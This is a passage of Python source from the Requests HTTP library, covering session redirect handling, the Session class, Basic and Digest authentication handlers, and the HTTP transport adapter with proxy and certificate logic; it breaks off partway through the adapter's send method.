        method = prepared_request.method

        # http://tools.ietf.org/html/rfc7231#section-6.4.4
        if response.status_code == codes.see_other and method != 'HEAD':
            method = 'GET'

        # Do what the browsers do, despite standards...
        # First, turn 302s into GETs.
        if response.status_code == codes.found and method != 'HEAD':
            method = 'GET'

        # Second, if a POST is responded to with a 301, turn it into a GET.
        # This bizarre behaviour is explained in Issue 1704.
        if response.status_code == codes.moved and method == 'POST':
            method = 'GET'

        prepared_request.method = method


class Session(SessionRedirectMixin):
    """A Requests session.

    Provides cookie persistence, connection-pooling, and configuration.

    Basic Usage::

      >>> import requests
      >>> s = requests.Session()
      >>> s.get('http://httpbin.org/get')
      <Response [200]>

    Or as a context manager::

      >>> with requests.Session() as s:
      >>>     s.get('http://httpbin.org/get')
      <Response [200]>
    """

    __attrs__ = [
        'headers', 'cookies', 'auth', 'proxies', 'hooks', 'params', 'verify',
        'cert', 'prefetch', 'adapters', 'stream', 'trust_env',
        'max_redirects',
    ]

    def __init__(self):

        #: A case-insensitive dictionary of headers to be sent on each
        #: :class:`Request <Request>` sent from this
        #: :class:`Session <Session>`.
        self.headers = default_headers()

        #: Default Authentication tuple or object to attach to
        #: :class:`Request <Request>`.
        self.auth = None

        #: Dictionary mapping protocol or protocol and host to the URL of the proxy
        #: (e.g. {'http': 'foo.bar:3128', 'http://host.name': 'foo.bar:4012'}) to
        #: be used on each :class:`Request <Request>`.
        self.proxies = {}

        #: Event-handling hooks.
        self.hooks = default_hooks()

        #: Dictionary of querystring data to attach to each
        #: :class:`Request <Request>`. The dictionary values may be lists for
        #: representing multivalued query parameters.
        self.params = {}

        #: Stream response content default.
        self.stream = False

        #: SSL Verification default.
        self.verify = True

        #: SSL certificate default.
        self.cert = None

        #: Maximum number of redirects allowed. If the request exceeds this
        #: limit, a :class:`TooManyRedirects` exception is raised.
        #: This defaults to requests.models.DEFAULT_REDIRECT_LIMIT, which is
        #: 30.
        self.max_redirects = DEFAULT_REDIRECT_LIMIT

        #: Trust environment settings for proxy configuration, default
        #: authentication and similar.
        self.trust_env = True

        #: A CookieJar containing all currently outstanding cookies set on this
        #: session. By default it is a
        #: :class:`RequestsCookieJar <requests.cookies.RequestsCookieJar>`, but
        #: may be any other ``cookielib.CookieJar`` compatible object.
        self.cookies = cookiejar_from_dict({})

        # Default connection adapters.
        self.adapters = OrderedDict()
        self.mount('https://', HTTPAdapter())
        self.mount('http://', HTTPAdapter())

        # Only store 1000 redirects to prevent using infinite memory
        self.redirect_cache = RecentlyUsedContainer(REDIRECT_CACHE_SIZE)

    def __enter__(self):
        return self

    def __exit__(self, *args):
        self.close()

    def prepare_request(self, request):
        """Constructs a :class:`PreparedRequest <PreparedRequest>` for
        transmission and returns it. The :class:`PreparedRequest` has settings
        merged from the :class:`Request <Request>` instance and those of the
        :class:`Session`.

        :param request: :class:`Request` instance to prepare with this
            session's settings.
        :rtype: requests.PreparedRequest
        """
        cookies = request.cookies or {}

        # Bootstrap CookieJar.
        if not isinstance(cookies, cookielib.CookieJar):
            cookies = cookiejar_from_dict(cookies)

        # Merge with session cookies
        merged_cookies = merge_cookies(
            merge_cookies(RequestsCookieJar(), self.cookies), cookies)

        # Set environment's basic authentication if not explicitly set.
        auth = request.auth
        if self.trust_env and not auth and not self.auth:
            auth = get_netrc_auth(request.url)

        p = PreparedRequest()
        p.prepare(
            method=request.method.upper(),
            url=request.url,
            files=request.files,
            data=request.data,
            json=request.json,
            headers=merge_setting(request.headers, self.headers, dict_class=CaseInsensitiveDict),
            params=merge_setting(request.params, self.params),
            auth=merge_setting(auth, self.auth),
            cookies=merged_cookies,
            hooks=merge_hooks(request.hooks, self.hooks),
        )
        return p

    def request(self, method, url,
        params=None,
        data=None,
        headers=None,
        cookies=None,
        files=None,
        auth=None,
        timeout=None,
        allow_redirects=True,
        proxies=None,
        hooks=None,
        stream=None,
        verify=None,
        cert=None,
        json=None):
        """Constructs a :class:`Request <Request>`, prepares it and sends it.
        Returns :class:`Response <Response>` object.

        :param method: method for the new :class:`Request` object.
        :param url: URL for the new :class:`Request` object.
        :param params: (optional) Dictionary or bytes to be sent in the query
            string for the :class:`Request`.
        :param data: (optional) Dictionary, bytes, or file-like object to send
            in the body of the :class:`Request`.
        :param json: (optional) json to send in the body of the
            :class:`Request`.
        :param headers: (optional) Dictionary of HTTP Headers to send with the
            :class:`Request`.
        :param cookies: (optional) Dict or CookieJar object to send with the
            :class:`Request`.
        :param files: (optional) Dictionary of ``'filename': file-like-objects``
            for multipart encoding upload.
        :param auth: (optional) Auth tuple or callable to enable
            Basic/Digest/Custom HTTP Auth.
        :param timeout: (optional) How long to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) <timeouts>` tuple.
        :type timeout: float or tuple
        :param allow_redirects: (optional) Set to True by default.
        :type allow_redirects: bool
        :param proxies: (optional) Dictionary mapping protocol or protocol and
            hostname to the URL of the proxy.
        :param stream: (optional) whether to immediately download the response
            content. Defaults to ``False``.
        :param verify: (optional) whether the SSL cert will be verified.
            A CA_BUNDLE path can also be provided. Defaults to ``True``.
        :param cert: (optional) if String, path to ssl client cert file (.pem).
            If Tuple, ('cert', 'key') pair.
        :rtype: requests.Response
        """
        # Create the Request.
        req = Request(
            method = method.upper(),
            url = url,
            headers = headers,
            files = files,
            data = data or {},
            json = json,
            params = params or {},
            auth = auth,
            cookies = cookies,
            hooks = hooks,
        )
        prep = self.prepare_request(req)

        proxies = proxies or {}

        settings = self.merge_environment_settings(
            prep.url, proxies, stream, verify, cert
        )

        # Send the request.
        send_kwargs = {
            'timeout': timeout,
            'allow_redirects': allow_redirects,
        }
        send_kwargs.update(settings)
        resp = self.send(prep, **send_kwargs)

        return resp

    def get(self, url, **kwargs):
        """Sends a GET request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        kwargs.setdefault('allow_redirects', True)
        return self.request('GET', url, **kwargs)

    def options(self, url, **kwargs):
        """Sends a OPTIONS request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        kwargs.setdefault('allow_redirects', True)
        return self.request('OPTIONS', url, **kwargs)

    def head(self, url, **kwargs):
        """Sends a HEAD request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        kwargs.setdefault('allow_redirects', False)
        return self.request('HEAD', url, **kwargs)

    def post(self, url, data=None, json=None, **kwargs):
        """Sends a POST request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
        :param json: (optional) json to send in the body of the :class:`Request`.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        return self.request('POST', url, data=data, json=json, **kwargs)

    def put(self, url, data=None, **kwargs):
        """Sends a PUT request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        return self.request('PUT', url, data=data, **kwargs)

    def patch(self, url, data=None, **kwargs):
        """Sends a PATCH request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        return self.request('PATCH', url,  data=data, **kwargs)

    def delete(self, url, **kwargs):
        """Sends a DELETE request. Returns :class:`Response` object.

        :param url: URL for the new :class:`Request` object.
        :param \*\*kwargs: Optional arguments that ``request`` takes.
        :rtype: requests.Response
        """

        return self.request('DELETE', url, **kwargs)

    def send(self, request, **kwargs):
        """
        Send a given PreparedRequest.

        :rtype: requests.Response
        """
        # Set defaults that the hooks can utilize to ensure they always have
        # the correct parameters to reproduce the previous request.
        kwargs.setdefault('stream', self.stream)
        kwargs.setdefault('verify', self.verify)
        kwargs.setdefault('cert', self.cert)
        kwargs.setdefault('proxies', self.proxies)

        # It's possible that users might accidentally send a Request object.
        # Guard against that specific failure case.
        if isinstance(request, Request):
            raise ValueError('You can only send PreparedRequests.')

        # Set up variables needed for resolve_redirects and dispatching of hooks
        allow_redirects = kwargs.pop('allow_redirects', True)
        stream = kwargs.get('stream')
        hooks = request.hooks

        # Resolve URL in redirect cache, if available.
        if allow_redirects:
            checked_urls = set()
            while request.url in self.redirect_cache:
                checked_urls.add(request.url)
                new_url = self.redirect_cache.get(request.url)
                if new_url in checked_urls:
                    break
                request.url = new_url

        # Get the appropriate adapter to use
        adapter = self.get_adapter(url=request.url)

        # Start time (approximately) of the request
        start = datetime.utcnow()

        # Send the request
        r = adapter.send(request, **kwargs)

        # Total elapsed time of the request (approximately)
        r.elapsed = datetime.utcnow() - start

        # Response manipulation hooks
        r = dispatch_hook('response', hooks, r, **kwargs)

        # Persist cookies
        if r.history:

            # If the hooks create history then we want those cookies too
            for resp in r.history:
                extract_cookies_to_jar(self.cookies, resp.request, resp.raw)

        extract_cookies_to_jar(self.cookies, request, r.raw)

        # Redirect resolving generator.
        gen = self.resolve_redirects(r, request, **kwargs)

        # Resolve redirects if allowed.
        history = [resp for resp in gen] if allow_redirects else []

        # Shuffle things around if there's history.
        if history:
            # Insert the first (original) request at the start
            history.insert(0, r)
            # Get the last request made
            r = history.pop()
            r.history = history

        if not stream:
            r.content

        return r

    def merge_environment_settings(self, url, proxies, stream, verify, cert):
        """
        Check the environment and merge it with some settings.

        :rtype: dict
        """
        # Gather clues from the surrounding environment.
        if self.trust_env:
            # Set environment's proxies.
            env_proxies = get_environ_proxies(url) or {}
            for (k, v) in env_proxies.items():
                proxies.setdefault(k, v)

            # Look for requests environment configuration and be compatible
            # with cURL.
            if verify is True or verify is None:
                verify = (os.environ.get('REQUESTS_CA_BUNDLE') or
                          os.environ.get('CURL_CA_BUNDLE'))

        # Merge all the kwargs.
        proxies = merge_setting(proxies, self.proxies)
        stream = merge_setting(stream, self.stream)
        verify = merge_setting(verify, self.verify)
        cert = merge_setting(cert, self.cert)

        return {'verify': verify, 'proxies': proxies, 'stream': stream,
                'cert': cert}

    def get_adapter(self, url):
        """
        Returns the appropriate connection adapter for the given URL.

        :rtype: requests.adapters.BaseAdapter
        """
        for (prefix, adapter) in self.adapters.items():

            if url.lower().startswith(prefix):
                return adapter

        # Nothing matches :-/
        raise InvalidSchema("No connection adapters were found for '%s'" % url)

    def close(self):
        """Closes all adapters and as such the session"""
        for v in self.adapters.values():
            v.close()

    def mount(self, prefix, adapter):
        """Registers a connection adapter to a prefix.

        Adapters are sorted in descending order by key length.
        """
        self.adapters[prefix] = adapter
        keys_to_move = [k for k in self.adapters if len(k) < len(prefix)]

        for key in keys_to_move:
            self.adapters[key] = self.adapters.pop(key)

    def __getstate__(self):
        state = dict((attr, getattr(self, attr, None)) for attr in self.__attrs__)
        state['redirect_cache'] = dict(self.redirect_cache)
        return state

    def __setstate__(self, state):
        redirect_cache = state.pop('redirect_cache', {})
        for attr, value in state.items():
            setattr(self, attr, value)

        self.redirect_cache = RecentlyUsedContainer(REDIRECT_CACHE_SIZE)
        for redirect, to in redirect_cache.items():
            self.redirect_cache[redirect] = to


def session():
    """
    Returns a :class:`Session` for context-management.

    :rtype: Session
    """

    return Session()






# -*- coding: utf-8 -*-

"""
requests.auth
~~~~~~~~~~~~~

This module contains the authentication handlers for Requests.
"""

import os
import re
import time
import hashlib
import threading

from base64 import b64encode

from .compat import urlparse, str
from .cookies import extract_cookies_to_jar
from .utils import parse_dict_header, to_native_string
from .status_codes import codes

CONTENT_TYPE_FORM_URLENCODED = 'application/x-www-form-urlencoded'
CONTENT_TYPE_MULTI_PART = 'multipart/form-data'


def _basic_auth_str(username, password):
    """Returns a Basic Auth string."""

    authstr = 'Basic ' + to_native_string(
        b64encode(('%s:%s' % (username, password)).encode('latin1')).strip()
    )

    return authstr


class AuthBase(object):
    """Base class that all auth implementations derive from"""

    def __call__(self, r):
        raise NotImplementedError('Auth hooks must be callable.')


class HTTPBasicAuth(AuthBase):
    """Attaches HTTP Basic Authentication to the given Request object."""

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def __eq__(self, other):
        return all([
            self.username == getattr(other, 'username', None),
            self.password == getattr(other, 'password', None)
        ])

    def __ne__(self, other):
        return not self == other

    def __call__(self, r):
        r.headers['Authorization'] = _basic_auth_str(self.username, self.password)
        return r


class HTTPProxyAuth(HTTPBasicAuth):
    """Attaches HTTP Proxy Authentication to a given Request object."""

    def __call__(self, r):
        r.headers['Proxy-Authorization'] = _basic_auth_str(self.username, self.password)
        return r


class HTTPDigestAuth(AuthBase):
    """Attaches HTTP Digest Authentication to the given Request object."""

    def __init__(self, username, password):
        self.username = username
        self.password = password
        # Keep state in per-thread local storage
        self._thread_local = threading.local()

    def init_per_thread_state(self):
        # Ensure state is initialized just once per-thread
        if not hasattr(self._thread_local, 'init'):
            self._thread_local.init = True
            self._thread_local.last_nonce = ''
            self._thread_local.nonce_count = 0
            self._thread_local.chal = {}
            self._thread_local.pos = None
            self._thread_local.num_401_calls = None

    def build_digest_header(self, method, url):
        """
        :rtype: str
        """

        realm = self._thread_local.chal['realm']
        nonce = self._thread_local.chal['nonce']
        qop = self._thread_local.chal.get('qop')
        algorithm = self._thread_local.chal.get('algorithm')
        opaque = self._thread_local.chal.get('opaque')
        hash_utf8 = None

        if algorithm is None:
            _algorithm = 'MD5'
        else:
            _algorithm = algorithm.upper()
        # lambdas assume digest modules are imported at the top level
        if _algorithm == 'MD5' or _algorithm == 'MD5-SESS':
            def md5_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.md5(x).hexdigest()
            hash_utf8 = md5_utf8
        elif _algorithm == 'SHA':
            def sha_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha1(x).hexdigest()
            hash_utf8 = sha_utf8

        KD = lambda s, d: hash_utf8("%s:%s" % (s, d))

        if hash_utf8 is None:
            return None

        # XXX not implemented yet
        entdig = None
        p_parsed = urlparse(url)
        #: path is request-uri defined in RFC 2616 which should not be empty
        path = p_parsed.path or "/"
        if p_parsed.query:
            path += '?' + p_parsed.query

        A1 = '%s:%s:%s' % (self.username, realm, self.password)
        A2 = '%s:%s' % (method, path)

        HA1 = hash_utf8(A1)
        HA2 = hash_utf8(A2)

        if nonce == self._thread_local.last_nonce:
            self._thread_local.nonce_count += 1
        else:
            self._thread_local.nonce_count = 1
        ncvalue = '%08x' % self._thread_local.nonce_count
        s = str(self._thread_local.nonce_count).encode('utf-8')
        s += nonce.encode('utf-8')
        s += time.ctime().encode('utf-8')
        s += os.urandom(8)

        cnonce = (hashlib.sha1(s).hexdigest()[:16])
        if _algorithm == 'MD5-SESS':
            HA1 = hash_utf8('%s:%s:%s' % (HA1, nonce, cnonce))

        if not qop:
            respdig = KD(HA1, "%s:%s" % (nonce, HA2))
        elif qop == 'auth' or 'auth' in qop.split(','):
            noncebit = "%s:%s:%s:%s:%s" % (
                nonce, ncvalue, cnonce, 'auth', HA2
                )
            respdig = KD(HA1, noncebit)
        else:
            # XXX handle auth-int.
            return None

        self._thread_local.last_nonce = nonce

        # XXX should the partial digests be encoded too?
        base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \
               'response="%s"' % (self.username, realm, nonce, path, respdig)
        if opaque:
            base += ', opaque="%s"' % opaque
        if algorithm:
            base += ', algorithm="%s"' % algorithm
        if entdig:
            base += ', digest="%s"' % entdig
        if qop:
            base += ', qop="auth", nc=%s, cnonce="%s"' % (ncvalue, cnonce)

        return 'Digest %s' % (base)

    def handle_redirect(self, r, **kwargs):
        """Reset num_401_calls counter on redirects."""
        if r.is_redirect:
            self._thread_local.num_401_calls = 1

    def handle_401(self, r, **kwargs):
        """
        Takes the given response and tries digest-auth, if needed.

        :rtype: requests.Response
        """

        if self._thread_local.pos is not None:
            # Rewind the file position indicator of the body to where
            # it was to resend the request.
            r.request.body.seek(self._thread_local.pos)
        s_auth = r.headers.get('www-authenticate', '')

        if 'digest' in s_auth.lower() and self._thread_local.num_401_calls < 2:

            self._thread_local.num_401_calls += 1
            pat = re.compile(r'digest ', flags=re.IGNORECASE)
            self._thread_local.chal = parse_dict_header(pat.sub('', s_auth, count=1))

            # Consume content and release the original connection
            # to allow our new request to reuse the same one.
            r.content
            r.close()
            prep = r.request.copy()
            extract_cookies_to_jar(prep._cookies, r.request, r.raw)
            prep.prepare_cookies(prep._cookies)

            prep.headers['Authorization'] = self.build_digest_header(
                prep.method, prep.url)
            _r = r.connection.send(prep, **kwargs)
            _r.history.append(r)
            _r.request = prep

            return _r

        self._thread_local.num_401_calls = 1
        return r

    def __call__(self, r):
        # Initialize per-thread state, if needed
        self.init_per_thread_state()
        # If we have a saved nonce, skip the 401
        if self._thread_local.last_nonce:
            r.headers['Authorization'] = self.build_digest_header(r.method, r.url)
        try:
            self._thread_local.pos = r.body.tell()
        except AttributeError:
            # In the case of HTTPDigestAuth being reused and the body of
            # the previous request was a file-like object, pos has the
            # file position of the previous body. Ensure it's set to
            # None.
            self._thread_local.pos = None
        r.register_hook('response', self.handle_401)
        r.register_hook('response', self.handle_redirect)
        self._thread_local.num_401_calls = 1

        return r

    def __eq__(self, other):
        return all([
            self.username == getattr(other, 'username', None),
            self.password == getattr(other, 'password', None)
        ])

    def __ne__(self, other):
        return not self == other






# -*- coding: utf-8 -*-

"""
requests.adapters
~~~~~~~~~~~~~~~~~

This module contains the transport adapters that Requests uses to define
and maintain connections.
"""

import os.path
import socket

from .models import Response
from .packages.urllib3.poolmanager import PoolManager, proxy_from_url
from .packages.urllib3.response import HTTPResponse
from .packages.urllib3.util import Timeout as TimeoutSauce
from .packages.urllib3.util.retry import Retry
from .compat import urlparse, basestring
from .utils import (DEFAULT_CA_BUNDLE_PATH, get_encoding_from_headers,
                    prepend_scheme_if_needed, get_auth_from_url, urldefragauth,
                    select_proxy, to_native_string)
from .structures import CaseInsensitiveDict
from .packages.urllib3.exceptions import ClosedPoolError
from .packages.urllib3.exceptions import ConnectTimeoutError
from .packages.urllib3.exceptions import HTTPError as _HTTPError
from .packages.urllib3.exceptions import MaxRetryError
from .packages.urllib3.exceptions import NewConnectionError
from .packages.urllib3.exceptions import ProxyError as _ProxyError
from .packages.urllib3.exceptions import ProtocolError
from .packages.urllib3.exceptions import ReadTimeoutError
from .packages.urllib3.exceptions import SSLError as _SSLError
from .packages.urllib3.exceptions import ResponseError
from .cookies import extract_cookies_to_jar
from .exceptions import (ConnectionError, ConnectTimeout, ReadTimeout, SSLError,
                         ProxyError, RetryError, InvalidSchema)
from .auth import _basic_auth_str

try:
    from .packages.urllib3.contrib.socks import SOCKSProxyManager
except ImportError:
    def SOCKSProxyManager(*args, **kwargs):
        raise InvalidSchema("Missing dependencies for SOCKS support.")

DEFAULT_POOLBLOCK = False
DEFAULT_POOLSIZE = 10
DEFAULT_RETRIES = 0
DEFAULT_POOL_TIMEOUT = None


class BaseAdapter(object):
    """The Base Transport Adapter"""

    def __init__(self):
        super(BaseAdapter, self).__init__()

    def send(self, request, stream=False, timeout=None, verify=True,
             cert=None, proxies=None):
        """Sends PreparedRequest object. Returns Response object.

        :param request: The :class:`PreparedRequest <PreparedRequest>` being sent.
        :param stream: (optional) Whether to stream the request content.
        :param timeout: (optional) How long to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) <timeouts>` tuple.
        :type timeout: float or tuple
        :param verify: (optional) Whether to verify SSL certificates.
        :param cert: (optional) Any user-provided SSL certificate to be trusted.
        :param proxies: (optional) The proxies dictionary to apply to the request.
        """
        raise NotImplementedError

    def close(self):
        """Cleans up adapter specific items."""
        raise NotImplementedError


class HTTPAdapter(BaseAdapter):
    """The built-in HTTP Adapter for urllib3.

    Provides a general-case interface for Requests sessions to contact HTTP and
    HTTPS urls by implementing the Transport Adapter interface. This class will
    usually be created by the :class:`Session <Session>` class under the
    covers.

    :param pool_connections: The number of urllib3 connection pools to cache.
    :param pool_maxsize: The maximum number of connections to save in the pool.
    :param max_retries: The maximum number of retries each connection
        should attempt. Note, this applies only to failed DNS lookups, socket
        connections and connection timeouts, never to requests where data has
        made it to the server. By default, Requests does not retry failed
        connections. If you need granular control over the conditions under
        which we retry a request, import urllib3's ``Retry`` class and pass
        that instead.
    :param pool_block: Whether the connection pool should block for connections.

    Usage::

      >>> import requests
      >>> s = requests.Session()
      >>> a = requests.adapters.HTTPAdapter(max_retries=3)
      >>> s.mount('http://', a)
    """
    __attrs__ = ['max_retries', 'config', '_pool_connections', '_pool_maxsize',
                 '_pool_block']

    def __init__(self, pool_connections=DEFAULT_POOLSIZE,
                 pool_maxsize=DEFAULT_POOLSIZE, max_retries=DEFAULT_RETRIES,
                 pool_block=DEFAULT_POOLBLOCK):
        if max_retries == DEFAULT_RETRIES:
            self.max_retries = Retry(0, read=False)
        else:
            self.max_retries = Retry.from_int(max_retries)
        self.config = {}
        self.proxy_manager = {}

        super(HTTPAdapter, self).__init__()

        self._pool_connections = pool_connections
        self._pool_maxsize = pool_maxsize
        self._pool_block = pool_block

        self.init_poolmanager(pool_connections, pool_maxsize, block=pool_block)

    def __getstate__(self):
        return dict((attr, getattr(self, attr, None)) for attr in
                    self.__attrs__)

    def __setstate__(self, state):
        # Can't handle by adding 'proxy_manager' to self.__attrs__ because
        # self.poolmanager uses a lambda function, which isn't pickleable.
        self.proxy_manager = {}
        self.config = {}

        for attr, value in state.items():
            setattr(self, attr, value)

        self.init_poolmanager(self._pool_connections, self._pool_maxsize,
                              block=self._pool_block)

    def init_poolmanager(self, connections, maxsize, block=DEFAULT_POOLBLOCK, **pool_kwargs):
        """Initializes a urllib3 PoolManager.

        This method should not be called from user code, and is only
        exposed for use when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param connections: The number of urllib3 connection pools to cache.
        :param maxsize: The maximum number of connections to save in the pool.
        :param block: Block when no free connections are available.
        :param pool_kwargs: Extra keyword arguments used to initialize the Pool Manager.
        """
        # save these values for pickling
        self._pool_connections = connections
        self._pool_maxsize = maxsize
        self._pool_block = block

        self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize,
                                       block=block, strict=True, **pool_kwargs)

    def proxy_manager_for(self, proxy, **proxy_kwargs):
        """Return urllib3 ProxyManager for the given proxy.

        This method should not be called from user code, and is only
        exposed for use when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param proxy: The proxy to return a urllib3 ProxyManager for.
        :param proxy_kwargs: Extra keyword arguments used to configure the Proxy Manager.
        :returns: ProxyManager
        :rtype: requests.packages.urllib3.ProxyManager
        """
        if proxy in self.proxy_manager:
            manager = self.proxy_manager[proxy]
        elif proxy.lower().startswith('socks'):
            username, password = get_auth_from_url(proxy)
            manager = self.proxy_manager[proxy] = SOCKSProxyManager(
                proxy,
                username=username,
                password=password,
                num_pools=self._pool_connections,
                maxsize=self._pool_maxsize,
                block=self._pool_block,
                **proxy_kwargs
            )
        else:
            proxy_headers = self.proxy_headers(proxy)
            manager = self.proxy_manager[proxy] = proxy_from_url(
                proxy,
                proxy_headers=proxy_headers,
                num_pools=self._pool_connections,
                maxsize=self._pool_maxsize,
                block=self._pool_block,
                **proxy_kwargs)

        return manager

    def cert_verify(self, conn, url, verify, cert):
        """Verify a SSL certificate. This method should not be called from user
        code, and is only exposed for use when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param conn: The urllib3 connection object associated with the cert.
        :param url: The requested URL.
        :param verify: Whether we should actually verify the certificate.
        :param cert: The SSL certificate to verify.
        """
        if url.lower().startswith('https') and verify:

            cert_loc = None

            # Allow self-specified cert location.
            if verify is not True:
                cert_loc = verify

            if not cert_loc:
                cert_loc = DEFAULT_CA_BUNDLE_PATH

            if not cert_loc:
                raise Exception("Could not find a suitable SSL CA certificate bundle.")

            conn.cert_reqs = 'CERT_REQUIRED'

            if not os.path.isdir(cert_loc):
                conn.ca_certs = cert_loc
            else:
                conn.ca_cert_dir = cert_loc
        else:
            conn.cert_reqs = 'CERT_NONE'
            conn.ca_certs = None
            conn.ca_cert_dir = None

        if cert:
            if not isinstance(cert, basestring):
                conn.cert_file = cert[0]
                conn.key_file = cert[1]
            else:
                conn.cert_file = cert

    def build_response(self, req, resp):
        """Builds a :class:`Response <requests.Response>` object from a urllib3
        response. This should not be called from user code, and is only exposed
        for use when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`

        :param req: The :class:`PreparedRequest <PreparedRequest>` used to generate the response.
        :param resp: The urllib3 response object.
        :rtype: requests.Response
        """
        response = Response()

        # Fallback to None if there's no status_code, for whatever reason.
        response.status_code = getattr(resp, 'status', None)

        # Make headers case-insensitive.
        response.headers = CaseInsensitiveDict(getattr(resp, 'headers', {}))

        # Set encoding.
        response.encoding = get_encoding_from_headers(response.headers)
        response.raw = resp
        response.reason = response.raw.reason

        if isinstance(req.url, bytes):
            response.url = req.url.decode('utf-8')
        else:
            response.url = req.url

        # Add new cookies from the server.
        extract_cookies_to_jar(response.cookies, req, resp)

        # Give the Response some context.
        response.request = req
        response.connection = self

        return response

    def get_connection(self, url, proxies=None):
        """Returns a urllib3 connection for the given URL. This should not be
        called from user code, and is only exposed for use when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param url: The URL to connect to.
        :param proxies: (optional) A Requests-style dictionary of proxies used on this request.
        :rtype: requests.packages.urllib3.ConnectionPool
        """
        proxy = select_proxy(url, proxies)

        if proxy:
            proxy = prepend_scheme_if_needed(proxy, 'http')
            proxy_manager = self.proxy_manager_for(proxy)
            conn = proxy_manager.connection_from_url(url)
        else:
            # Only scheme should be lower case
            parsed = urlparse(url)
            url = parsed.geturl()
            conn = self.poolmanager.connection_from_url(url)

        return conn

    def close(self):
        """Disposes of any internal state.

        Currently, this closes the PoolManager and any active ProxyManager,
        which closes any pooled connections.
        """
        self.poolmanager.clear()
        for proxy in self.proxy_manager.values():
            proxy.clear()

    def request_url(self, request, proxies):
        """Obtain the url to use when making the final request.

        If the message is being sent through a HTTP proxy, the full URL has to
        be used. Otherwise, we should only use the path portion of the URL.

        This should not be called from user code, and is only exposed for use
        when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param request: The :class:`PreparedRequest <PreparedRequest>` being sent.
        :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs.
        :rtype: str
        """
        proxy = select_proxy(request.url, proxies)
        scheme = urlparse(request.url).scheme

        is_proxied_http_request = (proxy and scheme != 'https')
        using_socks_proxy = False
        if proxy:
            proxy_scheme = urlparse(proxy).scheme.lower()
            using_socks_proxy = proxy_scheme.startswith('socks')

        url = request.path_url
        if is_proxied_http_request and not using_socks_proxy:
            url = urldefragauth(request.url)

        return url

    def add_headers(self, request, **kwargs):
        """Add any headers needed by the connection. As of v2.0 this does
        nothing by default, but is left for overriding by users that subclass
        the :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        This should not be called from user code, and is only exposed for use
        when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param request: The :class:`PreparedRequest <PreparedRequest>` to add headers to.
        :param kwargs: The keyword arguments from the call to send().
        """
        pass

    def proxy_headers(self, proxy):
        """Returns a dictionary of the headers to add to any request sent
        through a proxy. This works with urllib3 magic to ensure that they are
        correctly sent to the proxy, rather than in a tunnelled request if
        CONNECT is being used.

        This should not be called from user code, and is only exposed for use
        when subclassing the
        :class:`HTTPAdapter <requests.adapters.HTTPAdapter>`.

        :param proxies: The url of the proxy being used for this request.
        :rtype: dict
        """
        headers = {}
        username, password = get_auth_from_url(proxy)

        if username and password:
            headers['Proxy-Authorization'] = _basic_auth_str(username,
                                                             password)

        return headers

    def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):
        """Sends PreparedRequest object. Returns Response object.

        :param request: The :class:`PreparedRequest <PreparedRequest>` being sent.
        :param stream: (optional) Whether to stream the request content.
        :param timeout: (optional) How long to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) <timeouts>` tuple.
        :type timeout: float or tuple
        :param verify: (optional) Whether to verify SSL certificates.
        :param cert: (optional) Any user-provided SSL certificate to be trusted.
        :param proxies: (optional) The proxies dictionary to apply to the request.
        :rtype: requests.Response
        """

        conn = self.get_connection(request.url, proxies)

        self.cert_verify(conn, request.url, verify, cert)
        url = self.request_url(request, proxies)
        self.add_headers(request)

        chunked = not (request.body is None or 'Content-Length' in request.headers)

        if isinstance(timeout, tuple):
            try:
                connect, read = timeout
                timeout = TimeoutSauce(connect=connect, read=read)
            except ValueError as e:
                # this may raise a string formatting error.
                err = ("Invalid timeout {0}. Pass a (connect, read) "
                       "timeout tuple, or a single float to set "
                       "both timeouts to the same value".format(timeout))
                raise ValueError(err)
        else:
            timeout = TimeoutSauce(connect=timeout, read=timeout)

        try:
            if not chunked:
                resp = conn.urlopen(
                    method=request.method,
                    url=url,
                    body=request.body,
                    headers=request.headers,
                    redirect=False,
                    assert_same_host=False,
                    preload_content=False,
                    decode_content=False,
                    retries=self.max_retries,
                    timeout=timeout
                )

            # Send the request.
            else:
                if hasattr(conn, 'proxy_pool'):
                    conn = conn.proxy_pool

                low_conn = conn._get_conn(timeout=DEFAULT_POOL_TIMEOUT)

                try:
                    low_conn.putrequest(request.method,
                                        url,
                                        skip_accept_encoding=True)

                    for header, value in request.headers.items():
                        low_conn.putheader(header, value)

                    low_conn.endheaders()

